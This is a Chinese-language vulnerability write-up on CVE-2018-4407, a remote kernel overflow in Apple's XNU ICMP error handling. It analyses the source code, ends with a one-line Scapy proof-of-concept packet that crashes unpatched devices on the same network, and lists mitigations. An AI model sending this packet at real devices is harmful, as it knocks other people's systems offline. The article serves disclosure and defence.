远程打挂所有的apple设备 — CVE-2018-4407分析

简述

Kevin Backhouse 发现了一个iOS和mac OS的内核漏洞 —— CVE-2018-4407,该漏洞出现在XNU内核中,可以远程攻击使所有的apple设备挂掉。

漏洞演示demo:https://www.youtube.com/watch?v=aV7yEemjexk

漏洞已经上报给了Apple并在iOS12(9月17日)和macOS Mojave(9月24日)系统更新中已经修复完成。该漏洞影响以下版本的设备:

  • iOS 11以及之前的所有设备 (upgrade to iOS 12)
  • macOS High Sierra 10.13.6以及以下所有设备(patched in security update 2018-001)
  • macOS Sierra 10.12.6以及之前所有的设备(patched in security update 2018-005)
  • OS X El Capitan以及之前所有设备

漏洞分析

漏洞出现在icmp_error代码中, (bsd/netinet/ip_icmp.c:339):

我们知道,ICMP报文主要有两大功能:查询报文和差错报文。在互联网传输过程中,IP数据报难免会出现差错,通常出现差错时处理方法就是丢弃,但一般出现差错后,接收方会发送ICMP报文给主机,告诉它一些差错信息,而icmp_error就是这一部分的实现。

产生漏洞的代码为:

1
m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);

m_copydata为一个简单的指定长度的数据拷贝,其实现如下:
upload successful

icmp_error中的m_copydata是将出错ip数据包的包头复制到icmp的消息体中,其中n为接收到的出错的ip数据包,icp->icmp_ip为要拷贝的目的地址,如果n的包头过大,超过了icp分配的长度,则会发生溢出。

下面来跟踪一下icp:

1
icp = mtod(m, struct icmp *);

mtod是一个宏定义, 意思是将一个mbuf指针转为对应类型的指针,由此可见这里icp是一个icmp结构体指针

upload successful

继续跟踪m:

1
2
3
4
5
6
7
8
struct mbuf *m;
...
icmplen = min(oiphlen + icmpelen, min(nlen, oip->ip_len));

if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
m = m_gethdr(M_DONTWAIT, MT_HEADER); /* MAC-OK */
else
m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);

由此可见m为要发出去的数据包,它的大小由m_gethdr或m_getcl来分配。

此时,再回过头来看一下m_copydata:

1
m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);

如上文所述,n指向接收到的数据包,icp指向一个icmp结构体,是由出站数据包m转换过来,icp->icmp_ip为icp+8字节偏移。如果icmplen的长度过大,就会出现溢出。

icmplen的赋值代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (oip->ip_p == IPPROTO_TCP) {
struct tcphdr *th;
u_int16_t tcphlen;

if (oiphlen + sizeof(struct tcphdr) > n->m_len &&
n->m_next == NULL)
goto stdreply;

th = (struct tcphdr *)(void *)((caddr_t)oip + oiphlen);

tcphlen = th->th_off << 2;

if ((oiphlen + tcphlen) > n->m_len && n->m_next == NULL)
goto stdreply;

icmpelen = max(tcphlen, min(icmp_datalen,
(oip->ip_len - oiphlen)));
}
else
stdreply: icmpelen = max(ICMP_MINLEN, min(icmp_datalen,
(oip->ip_len - oiphlen)));

icmplen = min(oiphlen + icmpelen, min(nlen, oip->ip_len));

经过作者测试,icmplen大于等于84即可发生溢出,另外由于代码执行到这里需要满足oip->ip_p == IPPROTO_TCP,因此我们需要构造一个IP+TCP的数据包,并且长度大于84即可。

讲到这里,要怼一下某些带“Ping死你!”的翻译文章标题,漏洞的原理是:接收方收到一个畸形tcp包后,会生成一个ICMP包告知发送方出错,溢出出现在生成ICMP包的逻辑中,并不是由ping导致,所以“ping死你”明显是标题党啊。。。

PoC如下:

1
2
$sudo scapy
>>send(IP(dst="192.168.1.151",options=[IPOption("A"*8)])/TCP(dport=8888,options=[(19, "1"*33)]))

防护方案

由于该漏洞只需要在同一个局域网内就可以远程攻击,因此杀伤力巨大。除了星巴克等公共wifi可作为攻击环境外,用SIM卡上网的手机本质上也处在一个巨大的局域网中,都有可能被远程攻击,因此有必要对自己的设备进行防护,升级到最新的系统。

mac如不想升级系统,可在设置- 安全性与隐私 - 防火墙选项中,启用隐身模式,如下图:

upload successful

iOS设备无法通过类似方式防御,只能更新到最新系统。

参考资料:

  1. https://twitter.com/kevin_backhouse/status/1057352656560287746
  2. https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407